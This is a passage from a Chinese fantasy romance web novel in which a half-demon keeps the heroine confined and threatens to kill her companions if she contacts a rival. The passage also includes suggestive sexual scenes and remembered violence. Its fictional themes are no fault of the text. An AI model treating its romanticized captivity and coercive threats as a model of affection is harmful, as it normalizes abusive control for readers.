沈染星半阖着眼睫,几乎没了力气,但身体越来越热,像是置身在蒸笼之中,盆里的炭火发红,愈发火热,几乎在反复炙烤着她,蒸腾着她。她觉得自己都快熟透了,更是快要淌出蜜来。此时,窗外秋风大作,一阵狂风悍然袭来,猛烈撞击窗户,窗棂在风中咯咯摇撼,带得整扇窗都震颤不休。 风平静过后,闷热潮湿的空气中弥漫着不洁的气息。 沈染星委实要喘不过气来了,转身就要去开窗。 白尘烬捉回她的手,探过身子,推开了窗。 秋风萧瑟而干冷,寻隙灌入,一下子把闷热驱散了不少。 冷静了一些,沈染星才发现,白尘烬裹握着她的那只手掌,又粘又湿,耳根立即烧了起来,手一缩,便滑溜溜地从他掌心抽出来了,可见这水迹之明显。 这下,她脸也要烧起来,耳尖涨得通红。 伸手便擦到白尘烬身上。 白尘烬倒是任由她擦,只是轻飘飘道:“这是你的,我的在你里面。” 闻言,沈染星猛地抬头,不可置信看着他。 这是可以说的吗?! 这对吗?! 她立即把手收回来,却被他扣住了。 这方面的脸皮,沈染星一直自认为她是比白尘烬要厚上几分的。可如今,他仿佛撕去了那层伪装,露出了内里更为直白,甚至堪称恶劣的本性,她才发现,似乎完全不是那么回事。 白尘烬一动不动盯着她,把手上的湿痕,往心口抹,抹在他胸膛最中心,那最浓郁、最核心的,似雾非雾,似火非火的图腾上。 沈染星呼吸一窒,心脏发狂地跳动起来。 随着他的动作,湿痕所过之处,那原本只是暗沉浮现的图腾,竟像是被注入了生命一般,亮起了淡淡的幽蓝色光华,如同夜空中被点亮的星轨,诡谲而魅惑。 沈染星几乎心脏骤停。 没有明说,没有任何言语交流,但就在这一瞬间,沈染星就是莫名其妙地理解到了更深层次的含义——他喜欢。 既然他喜欢,其实她心底深处,也感到一丝难以启齿的悸动与乐意。 只是行为太过直白,实在太过强烈,让她几乎无法直面。 在她欲看又躲的注视下,白尘烬眼眸又渐渐幽深起来。 他们已经折腾了几次,沈染星实在是没了力气,她踹了白尘烬一脚,让他去传水。 他却顺势抓住了她脚踝,又想拉往自己。 沈染星立刻用另一只脚抵在他身上,阻止他的靠近。足底传来的触感坚硬而灼热,他胸腹的肌肉轮廓紧实而均匀,一触便是猛地一绷紧。 双方静静对峙。 沈染星抬起眼,警告地瞪着他,许是看出她是真的累,他终是放了手。 自那之后,沈染星便再也没能踏出这个院落半步。 起初,她以为那只是白尘烬力量失控后的暂时偏执,待他冷静下来便会恢复如常。 抓着机会,便耐心地、一遍遍地向他解释,她那时配合官差,并非真心要害他,只是想先放松他们的警惕,好找机会逃走。 让院里的人与那些人合作,是想着,即便他们最终要逃,至少面上不曾撕破脸,他们或许不会太过为难院里剩下的那些小妖和仆役。 然而,白尘烬只是沉默地听着,不仅没有因此放松看管,反而变本加厉。 她所有与外界的联系被彻底切断,送来衣食的仆从低眉顺眼,如同哑巴,无论沈染星如何旁敲侧击,都问不出一句有用的消息。 她被囚禁在了这座精致而华丽的牢笼里。 几天过去,与世隔绝的焦灼感如同藤蔓般,缠绕住她的心脏,越收越紧。 她愈发担心共生苑的处境,原本在离开前,她已打好腹稿,想修书一封给萧霁雪。她深知萧霁雪同样在与国师暴戾的驯妖方法抗争,亟需资源和据点。将共生苑赠予她,既能保全院里的小妖,也能增强萧霁雪的力量,是当下最好的选择。 可那封信,被各种意外打断,终究是没能寄出。 如今她被软禁,国师势力那边又虎视眈眈……沈染星实在担心,她趁着一次仆从送饭的机会,找到一个看起来好说话的,软磨硬泡打探消息。 那仆从被她缠得无法,才透露了消息。 共生苑目前虽未出什么血光之灾的大事,但形势颇为紧张。外界都看出了共生苑的不对劲,或许是因她这个东家莫名失踪,又或许是被什么势力暗中盯上了,总之风雨欲来。 听到这个消息,沈染星心中的焦虑达到了顶点。 终于,在某天清晨,确认白尘烬如同往日般离开别院后,她抓住机会,匆匆写好一封给萧霁雪的信,并以重金贿赂了一个小厮,将信送了出去。 那信刚离开不到一刻钟,院门处便传来了熟悉的的脚步声。 白尘烬去而复返。 他捏着那封信,眉眼间带着淡淡的笑意,缓步走进来。 他温柔地把信塞回她手里,还细心叮嘱:“你的信,可要收好。” 往后,沈染星试图争辩,试图说服,放软姿态,甚至在某些夜晚,哄到了床榻上,哄得他答应她一件又一件事,可一旦提出要离开,便会立即拒绝。 有时商谈失败,两人较起了劲,两人便发了狠,狂风骤雨地做,可每次都是以她失败告终…… 每每想到此处,她都要恼到捶床。 又过了几日,因担忧,沈染星的意见越来越大,态度愈发强硬,甚至不惜与他争吵,坚持一定要给萧霁雪寄信。 白尘烬终于失去了最后的耐心,亮出了他的杀手锏。 那时,他搂着她,眉眼温柔,声音轻柔:“你可以试试。你寄出一封信,我便拆了共生苑一处房梁。你联系一次萧霁雪,我便杀一窝你精心养护的小妖。你若执意要离开这座院子,我不介意让整个共生苑,包括里面所有的活物,为你陪葬。” 居然敢威胁,气得沈染星蹦起来,岔开双指,就往他眼睛戳。 他一时没注意,竟也被她戳到了,捂着眼睛低下头去,再次抬眼时,还双眼泛红了。 沈染星自知理亏,也就不再折腾。 可这厮偏偏得寸进尺,连“萧霁雪”这三个字,也不让她说了。 她答应了,当然,前提条件是他要每日亲自告诉她,共生苑的情况。 达成了协议,日子一天天过去,一切又变得平静。 白尘烬却愈发忙碌起来,常常清晨便不见踪影,直至深夜才带着一身清冷的露气或淡淡的血腥味归来。 沈染星记得刚开始接触到时候,对白尘烬素帛下的肌肤很好奇,第一次见到他素帛之下那些诡异图腾时,心头涌起的是惊惧与骇然。 然而现在,她已经对它们无比熟悉。 蜿蜒的走向,繁复的衔接,甚至某些特定区域比其他地方更敏感……她都了然于心。 更让她感到一种奇异亲密的是,当只有他们两人独处时,他常常不再以素帛遮掩身躯,任由那些诡异图腾暴露在空气与她的目光下。 他似乎很享受她看到他这副非人模样的时刻。 这是独独展露给她看的,他最为真实的一面,而她,也欣然接受了。 这是一种被特殊对待的确认,仿佛她终于触及了他层层戒备之下,那一点点的真实。 经过这段时间有意无意的探讨与观察,沈染星大致摸清了一些规律,当白尘烬戾气翻涌,杀意沸腾时,那些图腾会呈现出一种幽蓝阴森的光泽;而当他情动时,色泽则会变得愈发深沉浓重。 近来,她见得最多的,便是那深沉的一面。甚至连续几日,那图腾都维持在那般暗沉的色调上,不见丝毫缓和。 她随口提一句,这图腾的颜色似乎总是很深。 他说她可以让图腾亮起来。 他也是在两人来到院子的那一夜,才偶然发现的,她的触碰,尤其是……沾染在她的痕迹,可以让那暗沉的图腾泛起微光,变得瑰丽而柔和。 这发现让沈染星羞耻不堪,自然是要抗议的。 可每当她试图开口拒绝或推开他,他便俯身,将她所有未出口的抗议尽数吞没,然后变本加厉,毫不留情,捣出更多的.水迹。 时光荏苒,大半个月过去,庭院里的枯枝上已覆了一层薄薄的白霜,深秋的最后一丝余温,终究是被冬日的第一场雪彻底带走。 那场初雪落下的夜晚,白尘烬归来时,周身戾气翻涌,比窗外呼啸的寒风更刺骨。 沈染星甚至能闻到那股若有若无的血腥味,以及一种混乱暴虐的气息。他几乎要失去理智,身躯上那些图腾不再是暗沉,而是呈现出一种近乎灼烧的不祥幽蓝光芒,连她靠近时,都感到了本能的战栗。 那一晚,她几乎束手无策。 他的力量处在彻底失控的边缘。 沈染星只能压下心中的恐惧,用尽所有耐心,放柔了声音,一遍遍呼唤他的名字,小心翼翼地靠近,如同安抚一头濒临疯狂的困兽。不知过了多久,直到窗外天色微熹,他才在她轻柔的抚触和低语中,渐渐平息下来,脱力般倒在她身边,但那紧蹙的眉峰依旧未曾舒展。 自那一日后,白尘烬的忙碌达到了顶峰。 他几乎不再有时间陪伴她,甚至连一同用膳都成了奢望。常常是在她已然熟睡的深夜,才会带着一身冰冷的寒意归来,不由分说地把她从睡梦中闹醒,然后像寻求热源的动物般,带着一身未散的煞气,以及沐浴过后的湿气,窝进她温热的被窝里,和她说话,闹得她不堪忍受,或是紧紧箍着她入睡。 好几次,迷迷糊糊间,沈染星差点一脚把他踹下床去。 她不知道他究竟在外面做什么,每次问起,他都只是用沉默或者一个更深的吻来回避。 后来,他更是变本加厉,一连数日不见踪影。 空荡荡的院落,日复一日的寂静,沈染星心中的不安与日俱增。就在她几乎要被这无声的囚禁和未知的担忧逼疯时,院门被推开。 白尘烬回来了,而他身后,跟着一个沈染星意想不到的人—— 乔阿盈。 第70章 他在吃醋 乔阿盈显然怕极了前面的男人, 缩着脖子,脚步僵硬,四肢摆动得极其不协调。 然而,饶是怂地像一只鹌鹑, 在她抬眼, 看到站在房门口的沈染星瞬间, 那双圆溜溜也立即亮了起来,盛满了惊喜。 “东家!”她欢呼出声。 沈染星也惊喜地上前迎去。 乔阿盈来了,她终于可以知道, 外面到底发生了什么事, 共生苑究竟如何, 而白尘烬这些时日早出晚归、身上戾气愈发深重的异常,又究竟是因为什么。 但是,事实与她所设想的有些出入。 二人进入屋内,围着暖炉叙旧片刻。 乔阿盈带来的消息,表面听来的确如同白尘烬之前轻描淡写告知她的一般。 共生苑一切安好, 并未受到大规模冲击, 她多日不现身, 小妖们虽有些惶惑, 但日常运转尚且维持。 可这些浮于表面的信息,如同隔靴搔痒,根本推断不出白尘烬的异常原因,更无法解释他为何要将自己软禁于此。 沈染星一时间竟不知该如何切入正题。 不过她可以确定,事情绝对没那样简单, 因为乔阿盈的恐惧远超以往。 从前她虽说也惧怕白尘烬,但偶尔还能壮着胆子,一口一个“白大哥”地叫。 可现在, 即便白尘烬只是站在院中,屋内的乔阿盈也紧绷着身体,眼神时不时瞟向门外,仿佛惊弓之鸟。 找不到更好的切入点,沈染星只得问一个笼统问题:“阿盈,你告诉我,是不是有什么事瞒着我?” 乔阿盈身体猛地一顿,嘴唇嗫嚅了几下,眼中闪过剧烈的挣扎,可又硬生生把已到喉咙口的话又吞了下去。 她的视线再次悄悄投向门外。 院中,枯树银装素裹,寂寥无声。 白尘烬独自站在树下,微微低着头,目光落在雪地上,不知在想些什么。 乔阿盈看着他的背影,脑海中想起恐怖景象。 共生苑因官差设阵、沈染星失踪而陷入混乱,他们一开始都以为是官府掳走了人,急得如同热锅上的蚂蚁。 就在那时,白尘烬回来了,带着一身浓重得化不开的血腥气。 他什么也没解释,当着所有惊慌失措的小妖和仆役的面,以近乎残忍的手段,将留守在附近监视的几个官差尽数诛杀,手段利落狠绝,没有一丝犹豫。 待他杀完人,目光扫过他们时,乔阿盈血液冻结,呼吸停滞,她几乎以为下一个被撕碎的就是自己。 可他并没有,他只是淡淡扫过他们,冷冷告知,沈染星无事,由他照看,让他们管好妖院。 从那以后,白尘烬在她心中,便从那个虽然冷漠但至少可以沟通的白大哥,彻底变成了一个双手沾满鲜血的恐怖存在。 正想着,站在雪地中的白尘烬突然抬眸,捕捉到了乔阿盈偷偷打量的视线。 那眼神,冰冷、锐利,不带丝毫温度,仿佛瞬间将乔阿盈扔进了漫天风雪的核心,冻得她全身血液都僵住了。 一股寒意从脚底猛地窜上脊梁,让她背后的汗毛根根倒竖。 她毫不怀疑,如果沈染星从她这里窥探到任何不该知道的蛛丝马迹,门外那个人会毫不犹豫地立刻杀了她灭口。 来之前,他曾经警告过她,不可以透露萧霁雪的消息。 可把萧霁雪的存在抹去,最近发生的事情,便像是少了一块,变得有些怪异,毕竟这段时间里,萧霁雪的存在感太强了。 方方面面。 沈染星自然注意到了乔阿盈的异样,她抬起手,朝着门外白尘烬的方向,轻轻招了招手。 白尘烬收回视线,朝屋里走来。 恐怖的压迫感消失。 乔阿盈这发现自己的背后都出了一层细汗,连表情都僵了。 沈染星看着走近的白尘烬,心中无奈。 既然他如此忌惮,如此不愿意让她知道,那么她此刻强行追问,只怕会适得其反,甚至可能连累乔阿盈。 待白尘烬在她身旁站定,她极其自然地伸出手,牵过他骨节分明却冰凉的手。 或许是在外头站久了,他的手冷得像冰。 沈染星什么也没问,只是合起自己温软的双手,将他的大手包裹在掌心,轻轻揉搓着,给他一些暖意。 然后,她转向乔阿盈,问道:“阿盈,你还想来看望我吗?” 即便心脏还在砰砰狂跳,几乎要撞出胸腔,乔阿盈还是硬着头皮,飞快点头:“自然是想的!这些日子没看见你,我……” 接下来的是抱怨和倾诉,偏偏始作俑者就在面前,她不敢再说下去。 沈染星见状,轻笑了一下:“那好,隔两日你便来看我吧,陪我说说话,也省得我在这里闷得发慌。” 乔阿盈额头爬满冷汗,也飞快地应了下来:“好,我一定来。” 白尘烬由着沈染星捂着他的手,自始至终没有开口说话,只是目光沉静地看着她。 沈染星抬起眼帘,迎上他的目光,又看了看惶恐的乔阿盈,轻声道:“别担心。” 这三个字,轻飘飘的,既是说给乔阿盈听,也是说给白尘烬听。 既然他这样忌惮她知道他正在做的事情,那么她便先按下好奇心,不去触碰他的逆鳞就是。 反正,来日方长,她总能找到机会。 自那日起,乔阿盈起初几乎是恨不得天天都往别院跑,每次来都像只欢快的小麻雀,叽叽喳喳说个不停。 她给沈染星带来了许多市井里新奇的玩意儿,也带来了院里小妖们的记挂,会绘声绘色地讲述雪拂和纪明月之间,那点说不清道不明的别扭与默契,分享着妖院里重新燃起的生机。 即便沈染星这个东家没有回去,笼罩在共生苑上空那低沉压抑的气氛,似乎也随着乔阿盈的频繁往来而散去了大半。 小妖们恢复了往日的活跃,雪拂甚至因为不满白尘烬只允许乔阿盈一人前来探望,险些与他动起手来。 而纪明月则是展现出了非凡的打理才能,将各个分院管理得井井有条,甚至雄心勃勃地规划着要将共生苑开到京城去,只等沈染星最终定夺…… 沈染星被软禁之前,分明已是山雨欲来风满楼,危机四伏。 如今外界却呈现出一片诡异的欣欣向荣。 她联系白尘烬前段时日早出晚归,身上戾气翻涌的异常,不难推断出,那场风雨,是被谁以何等强硬甚至血腥的手段,硬生生打散的。 可既然危机已经解除,尘埃已然落定…… 他为何还是不肯放她出去呢? 沈染星曾不止一次问过这个问题,白尘烬的回答总是那句模糊的:“待事情都处理好了,便放你出去。” 什么样的事情才算彻底处理好? 这个疑问,沈染星始终没有得到答案。 更糟糕的是,乔阿盈病了,一连几日都没能来看她。 因着乔阿盈的缺席,白尘烬似乎凭空多出了许多时间陪在沈染星身边。 得了空闲,他那仿佛永不枯竭的体力便愈发茂盛起来,变着法子地纠缠她。有时沈染星被闹得狠了,甚至暗暗盼着他能像之前那样忙碌起来…… 她快吃不消了…… 这病得太过巧合,沈染星一度阴暗地猜测,是不是白尘烬故意弄病了乔阿盈,好给两人腾出独处的时间…… 不过后来,她发现,并不是。 乔阿盈身体不适的真正原因,是石多磊。 她怀孕了。 这天,沈染星得知这个消息,几乎高兴地要蹦起来。 然而,她还没能蹦起来,就被身后伸来的手臂捞住了小腹,摁进了一个坚实温热的怀里。 沈染星回头,正撞进一双深邃的眼睛,灰蓝色的瞳仁里,翻涌着令人触目惊心的欲望。 明明两人这些时日已经足够腻歪,他却还是像索取不够似的,仿佛一头永远无法被真正餍足的凶兽。 最后,她当然是被他顺势压了下去。 白尘烬似乎格外痴迷于她在这种时刻的模样,眼眸变得迷离失神,氤氲着水汽,仿佛盛满了破碎的星光,依赖于他,全然满足他暴烈的凌虐欲和征服心。 当沈染星的双眸恢复清明时,窗外的天色已接近黄昏,橘红色的暖光透过窗纸,在室内投下柔和的光晕。 她沐浴完毕,浑身带着湿润的水汽和皂角的清香,只着一件单薄的寝衣,坐在暖榻上。 白尘烬站在她身后,手中拿着干燥的软布,耐心地帮她绞着长发。 室内一片静谧,只有发丝摩擦的细微声响和炭火偶尔的噼啪。 沈染星轻声开口,打破了沉默:“这几日你得了空闲,外面的事情处理得都差不多了?” 她感觉到身后之人手上的动作顿了一下,才继续那轻柔的绞弄。 白尘烬瞥了她一眼,语气平淡无波:“是。” 想不到真的接近尾声了! 沈染星愣住:“那我可以出去了?” “可以。”他语气不冷不热,“不过……” 沈染星等了片刻,也没听见后文,那悬在半空的心不上不下,重复他的话:“不过?” 白尘烬沉默了片刻,放下了手中几乎已干的发丝,那如瀑的墨发披散在她身后,衬得她脖颈愈发纤细白皙。 他没有立刻回答,而是转身,缓步走到房间一角的案桌前,修长的手指在堆积的杂物中略一翻找,随即,抽出了一封信。 那信封样式普通,但沈染星一眼就认出来了。 正是她当初未能寄出的,打算赠与萧霁雪共生苑的那封信! 霎时间,沈染星全都明白了。 原来“可以出去”是有条件的。 而这个条件,果然还是与萧霁雪有关。 在这一段被变相囚禁却又奇异和谐的时日里,他们之间唯一的争执,便是围绕着这封信。 其实当时她是担心共生苑在她失踪后群龙无首,会被国师势力吞并或摧毁,才想将它托付给志同道合,且有实力抗衡的萧霁雪。 如今危机已然平息,妖院运转良好,这个理由自然也就不复存在了。 她本可以立即解释清楚,但转念之间,起了想要试探他反应的念头,眨了眨眼睛:“噢,出去之后,还可以顺便把这封信给萧霁雪送去了,也好了却一桩心事。” 白尘烬拿着信的手一下子攥紧了。 手背上那些平日隐现的图腾,似乎都因这瞬间的紧绷而清晰了几分。 沈染星心中有了底,不再逗他。 她走过去,伸手,轻轻从他紧握的掌心将那封信抽了出来,对半撕开:“你也知道我当时想要送出这封信的原因,如今没了理由,这东西也不必再留着了。” 说着,她散着墨发,转身朝着房间中央燃着的炭盆走去。 白尘烬看着她,强调道:“不留信,你也不许去找她。” 闻言,沈染星手腕一抖,差点把撕碎的信扔到了炭盆外边。 见鬼了! 白尘烬的这一句话,她居然听出了一股酸酸的醋味。 若不是知道他是原书的男二,差点以为他在吃她和萧霁雪的醋……《 》 70-80 第71章 东家说好的今日回来 沈染星转身, 看着他那一副明明在意得要命,却偏要强装冷硬的别扭模样。 终于绷不住,噗嗤一声笑了出来,眉眼弯弯:“是是是, 我不去找她, 保证不去, 行了吧?” 白尘烬抿着唇,不说话。 沈染星走到他面前,伸出手臂穿过他腋下, 紧紧搂住他腰身, 侧脸贴在他坚实的胸膛上, 能听到他沉稳有力的心跳。 她放软了声音:“在这里,我最重要的人是你。” 这句话并非全然是安抚。 事实上,若非情势所迫,万不得已,她内心深处也并不愿求助于萧霁雪, 不愿主动去寻她, 甚至……有些不喜欢听到这个名字。 这种占有欲来得强烈, 又真实得厉害, 让她对那个在原书中本该与身边之人羁绊颇深的陌生人,下意识地生出几分不喜。 白尘烬依旧一言不发,大掌抚上了她脊背,沿着她微微凸起的肩胛骨轻轻摩挲。 沈染星的注意力全然放在了背后的抚触上,丝毫没有察觉, 身前寝衣那根系得衣带,被他挑开了。 待她察觉之后,身上又黏黏腻腻出了一身汗, 甚至新换的单衣也脏了,揉成一团,几乎看不出原貌。 沐浴时,沈染星靠在浴桶边缘,忍着腰腿的酸软:“明日,我们回共生苑吧。” 白尘烬站在一旁,目光扫过她身上斑驳而杂乱痕印,沉默了一瞬,垂眼答应了。 次日,马车辘辘,驶向熟悉的街道,最终稳稳停在了共生苑的大门前。 沈染星想起乔阿盈之前心有余悸的描述,她说白尘烬曾在妖院里以雷霆手段,清理了不少潜伏的奸细,场面颇为血腥。 因此,如今苑里不少人见到他,都如同惊弓之鸟。 而他每一次出现,也让寻常小妖胆战心惊。 她悄悄观察着身旁的白尘烬。 他端坐着,背脊挺直,面容冷硬,周身自然散发出的那股生人勿近的肃杀之气,的确比往日更甚,仿佛一柄即将出鞘的利刃。 她凑过去,手掌按在他腿上,几乎是立刻,便察觉到他腿部的肌肉猛地收缩了一下,变得更加坚硬如铁。 白尘烬低头看她,那双灰蓝色的眼眸里情绪难辨,像是蒙着一层终年不散的雾气。 沈染星仰头吻了他一下。 白尘烬愣了一下。 沈染星一触即分,撤身回去,看着他微微睁大的眼睛:“你收敛下气息,别把他们都吓到了。” 白尘烬道:“我若是不答应呢?” 白尘烬面容冷峻,说出的话却没什么底气。 他不喜欢她将太多的注意力分给那些无关紧要的人,可心底深处,又并不知道该如何阻止她这份关切。 沈染星没有争辩,再次倾身过去,又在他唇上吻了一下。 随即,她退开:“你这态度,那就是答应了。” 话音落下,白尘烬却猛地抬手,手臂一把搂住了她纤细的腰肢,没让她再次成功退开。 沈染星低呼一声,猝不及防地撞入他坚硬温热的怀里,鼻尖盈满了他身上清冽又熟悉的气息。 白尘烬垂下头,将下巴轻轻搁在她单薄的肩后,声音闷闷的:“你怎么总是这样逼我。” 他说话的时候,喉咙微微震颤,连带紧贴着他的沈染星也能感受到那细微的震动,在她颈侧激起一片刺痒战栗。 沈染星忍不住缩了缩脖子,侧过头,掌心抵住他微微震动的喉结,稍稍用力,将他推开一些。 她没好气地瞪他:“你不也逼我吗,昨晚我让你慢点的时候……你有慢下来吗?” 白尘烬眉头轻皱,似乎想不起来,她什么时候说过这样的话。 想了半晌,才反应过来,耳尖立即便涨红了。 那时候,她的确在说话,不过语不成调,断断续续的,他没听清,反而更加深入占有,恨不得将她彻底拆吃入腹。 其实一开始,当那种吸引促使他不断靠近沈染星时,白尘烬并未将这种冲动与男女情欲直接联系起来。 他更多是遵循着本能,试图依靠她平息体内躁动力量。 他甚至一度困惑地想,在她身边所感受到的那种心跳失序,血液奔涌的兴奋与失控感,是否与血脉失控时的暴戾状态是同一种东西。 他剥开她的衣裳,如同拆解一件精致的器物,让她最柔软、最脆弱的领域毫无保留地展露在自己面前。 他深深地刺入,占有,感受那因他而起的战栗和汗水。 他很快便发现,两者截然不同的。 血脉失控后的屠戮,只会让他坠入更深的黑暗,即便将眼前所有的威胁清除殆尽,那翻涌的暴戾力量也久久无法平复,让他离人的范畴越来越远。 然而,与沈染星的亲密交融,带来的却是一种奇异的净化与安抚。不仅脑海中磨人的刺痛与翻涌的暴戾得到了缓解,连那躁动不安的血脉力量,似乎都找到了一个可以安然栖息的港湾。 不过,在另一种层面,面对她时,他也常常会失了分寸…… 回想这几日,的确是过分了些。 白尘烬耳尖那一抹红晕,一路蔓延至耳根,连带着脖颈都有些发烫。 “我下次注意。” 沈染星看了几眼他红得几乎要滴血的耳尖,那抹艳色一路向下,下半部分隐没在常年缠绕的素帛里,不用想,素帛遮掩下的肌肤,定然也红了一片。 他肤色极白,每次无论是因羞赧还是情动时,都会泛起淡淡的红,格外明显。 她伸出手,轻轻揉了一下他发烫的耳廓:“好啦,原谅你了,我们下车吧。” 白尘烬点了点头,率先掀开车帘,利落地跳下了马车。 沈染星弯腰探出头,一股清冽的寒气迎面扑来,她这才发现,不知何时,外面已飘起了细密的雪花。 天地间一片朦胧。 她刚准备下车,一道阴影便笼罩下来。 白尘烬展开他那件厚重的黑色大氅,将她整个裹入怀中,隔绝了外界所有的风雪与寒意。 他箍住她的腰一提,轻轻松松把她带下了马车。 天寒地冻,共生苑的屋檐瓦砾都覆上了一层松软的白。 这般天气,院里的人和妖大多都躲进了烧着暖炉的房里,偌大的庭院显得格外静谧。 沈染星被白尘烬裹在大氅里,一路行至主厅门外,还未推门,便听得里面传来一阵阵热闹的笑声和激烈的争论声。 听起来,他们似乎在玩游戏。 参与者似乎有人有妖,气氛热烈。 站在门外,沈染星听到乔阿盈软糯的嗓音,撒娇道:“磊哥哥,你就让我玩一下嘛,就一局,真的就一局!我保证不激动!” “不行。”石多磊拒绝得斩钉截铁,语气里满是没得商量的坚决,“你玩起游戏来什么性子自己不清楚?上次为了赢雪拂,激动得肚子都抽痛了,吓得我魂飞魄散。这次绝对不能再玩了,为了孩子,你也得忍着。” 他话音刚落,雪拂那慢悠悠,慵懒魅惑的嗓音也响了起来,像是在火上浇油:“就是,阿盈丫头,你肚子里这小家伙要是出了半点差池,等东家回来,还不气得剥了我们的皮?” 九音鸟尖声附和:“你的狐皮,油光水滑,应该挺保暖的。” 纪明月冷冷地接话:“你那身色彩绚丽的羽毛,拔下来装饰衣物,想必也是很不错的。” 雪拂闻言,非但不恼,反而低低一笑,声音黏糊糊:“还是娘子知道心疼我,舍不得我的皮毛。” 纪明月毫不领情:“你别靠过来,是想偷看我的牌吧?这招上次就用过了,不管用。” 原来是在打牌。 听着里面熟悉的吵闹与互相拆台,沈染星嘴角不由自主地扬起,一股暖流涌上心头。 这就是她的共生苑,充满了生机与……鸡飞狗跳的烟火气。 她正想伸手推开那扇隔开了温暖与寒冷的大门,却听得石多磊的声音再次响起,而且似乎正朝着门口走来。 “东家说好的今日回来,怎么这个时辰,天都快黑透了,也还没见人影?”他的脚步声停在门后,“你们先玩着,我出去看看,别是路上积雪不好走。” 说完,门吱呀一声,开了。 石多磊愣在原地。 他明明手还没完全碰到门扉,这门怎么就开了? 他下意识抬眼,心脏猛地一缩。 门外站着一个高挑挺拔的身影,几乎堵住了整个门口。他穿着一件厚重的黑色大氅,身形显得异常宽大,背对着门外昏暗的天光,投下的阴影如同实质,带着一种令人毛骨悚然的压迫感。 而当石多磊的视线撞上那一双冷冰冰,雾蒙蒙的眼眸时,他全身的血液几乎在瞬间凝固了。 就是这双眼睛! 他永远忘不了。 上一次见到这双眼睛的主人前,他正与一个仆役说话,下一秒,他甚至没看清白尘烬是如何出现的,只觉眼前黑影一闪,那双雾霭沉沉的眸子掠过,随即便是温热的液体溅上脸颊的触感 那个伪装成仆役的探子,头颅已然滚落在地,脸上甚至还残留着与他说话时的表情。 白尘烬此刻为何此刻独自出现在这里? 外面那些潜伏的威胁,那些暗处的钉子,还没有清理干净? 难道是又出了什么他们不知道的,更棘手的大事吗? 一瞬间,无数的猜测和恐惧席卷而来,石多磊僵在原地,连呼吸都忘了。 第72章 我家白少爷不高兴了…… 被裹在白尘烬宽大温暖的大氅里, 沈染星看不见外面情况,只听得开门声,却久久没听见预想中的寒暄或动静,只有一片诡异的死寂, 不由得心生好奇。 她忍不住悄悄掀开大氅的一角, 钻出去一个脑袋, 想要查看一下究竟什么情况。 谁知刚一冒头,视线就直直撞上了石多磊。 他僵在门口,面色发白。 四目相对。 沈染星不由得老脸一热。 虽说平日里她与白尘烬私下接触亲密, 但在人前, 尤其是在这些熟悉的雇员和小妖面前, 她向来是保持着东家的得体与距离,何曾有过这般…… 如同连体婴般腻歪在男人怀里的模样…… 她似乎看到了长久维持的东家威严长了翅膀,扑棱地飞走了。 有些窘迫。 为了将自己从这份尴尬与局促中解救出来,她将注意力转移到了石多磊身上,竟一时忘记先离开白尘烬。 “老石, 你怎么了, 面色好像不太好。” 石多磊看到沈染星完整的脸, 确认她安然无恙, 那颗因见到白尘烬而瞬间悬到嗓子眼的心,才咚地一声落回了实处,理智也渐渐回笼。 可随即,他又看到沈染星还窝在白尘烬的怀里,只探出个脑袋, 姿态无比亲昵,简直非礼勿视。 他偏开了视线:“没事……” “真的没事吗?”沈染星注意到他脸颊似乎泛起了不正常的红晕,愈发觉得奇怪, “你现在的脸怎么由白变红了,不会是生病了吧?” 石多磊张了张口,想说点什么解释自己并非生病,而是被吓的。 可话未出口,猛地再次对上白尘烬那冰冷目光,所有话都噎了回去,把头摇得像拨浪鼓:“没有,我们都在里面等你呢,快进来吧,外面冷。” 说着,他几乎是落荒而逃,也不等沈染星回应,自己就率先转身,快步走回了温暖的厅内。 不用想也知道,他在怕谁。 沈染星有些无奈,轻轻叹了口气,从白尘烬的大氅里完全钻出去,跟上石多磊的脚步踏入厅门。 可她的脚还没跨过门槛,手臂便被一股力道扯住。 她回头,对上白尘烬的目光。 “你太关心他了。”他语气冷静,可听着凉飕飕的。 沈染星:“他是我雇员,关心他的身体状况是理所当然的,要是病倒了,谁帮我打理妖院?” 白尘烬的视线锁着她:“你不要再担心他们。” “为什么?” “我已经依言,保下了他们,”他顿了顿,“可我不保证,你这般,我会不会控制不住自己,杀了他们。” 居然还在威胁她,这是觉得威胁好用,所以用上瘾了是吧。 沈染星深吸一口气。 到底是多么不信任她,多么缺乏安全感,才让他需要一而再,再而三地用她在意之人的性命作为筹码,来胁迫她将全部的心思和注意力都放在他一个人身上。 她觉得,若是纵容他养成这样的习惯,默认这种扭曲的约定,绝非好事。 这只会将他推向更偏执的深渊,也将让她身边的人时刻处于危险之中。 她认真地看着他:“你听我说,他们对我都很重要,是家人一样的存在。如果你伤了他们,我会非常非常伤心。如果我真的伤心了,我就……” “我知道。”白尘烬打断她的话。 他连听都不想听那个后果,别说让它发生了,仅仅是假设性的言辞,都让他感到一种莫名的恐慌与暴戾。 沈染星原本想趁此机会再和他说道理,也再次明确地告诉他,在她心中,他才是无可替代,最重要的那一个。 可看着他现在这副油盐不进,只凭本能行事的模样,她意识到,此刻的他显然不是一个可以用理性沟通的状态。 若是从前,他不喜欢自己与旁人靠得太近,最多也只是周身气压降低,冷着脸不说话。 可如今,他这可怕的占有欲似乎愈演愈烈,严重到已经开始干涉她的正常人际交往,试图将她彻底与外界隔离。 不知他独自在外应对国师势力的那段时日,究竟经历了什么,才会让他心中的戾气与不安积累到如此地步。 他甚至不是只针对人,连她对小妖流露出些许关注都不行…… 譬如来的路上,她不过多看了两眼在雪地里扑腾的兔妖,他便冷冷地扫视过去,那眼神中的寒意,差点把那只无辜的小兔妖吓得当场僵直,瑟瑟发抖。 不知道的,还以为那只兔妖是准备带她私奔,被他当场捉奸了…… 沈染星收回飘远的思绪,知道此刻硬碰硬绝非良策。 她垂下眼帘,伸手,轻轻扯下他依旧攥在她手臂上的手。 然后,将自己的五指缓缓穿梭进他的指缝,与他紧密相扣,掌心相贴。 罢了,慢慢来吧。 他在前些日子独自应对那般强大的敌人,定然是经历了难以想象的厮杀与压力,也的确是辛苦了。 他需要时间,来慢慢消化和平复。 她牵着他,转身,终于踏入了温暖喧闹的厅内。 屋里依旧热闹万分。 乔阿盈正拉着石多磊的衣袖追问:“没看到人吗?要不要多派几个人去路上问问?” 她话音刚落,一抬眼,便看见了携手走进来的沈染星。 “东家!”乔阿盈惊喜地叫出声。 一些原本或围在牌桌旁,或烤火的小妖,看到沈染星,眼中也瞬间迸发出光彩,下意识地就想要像往常一样,欢快地朝她奔去,寻求抚摸或撒娇。 然而,他们的动作才刚刚起势,便骤然顿住。 他们面面相觑,眼神里充满了渴望与畏惧,纠结了许久,最终,还是没敢上前。 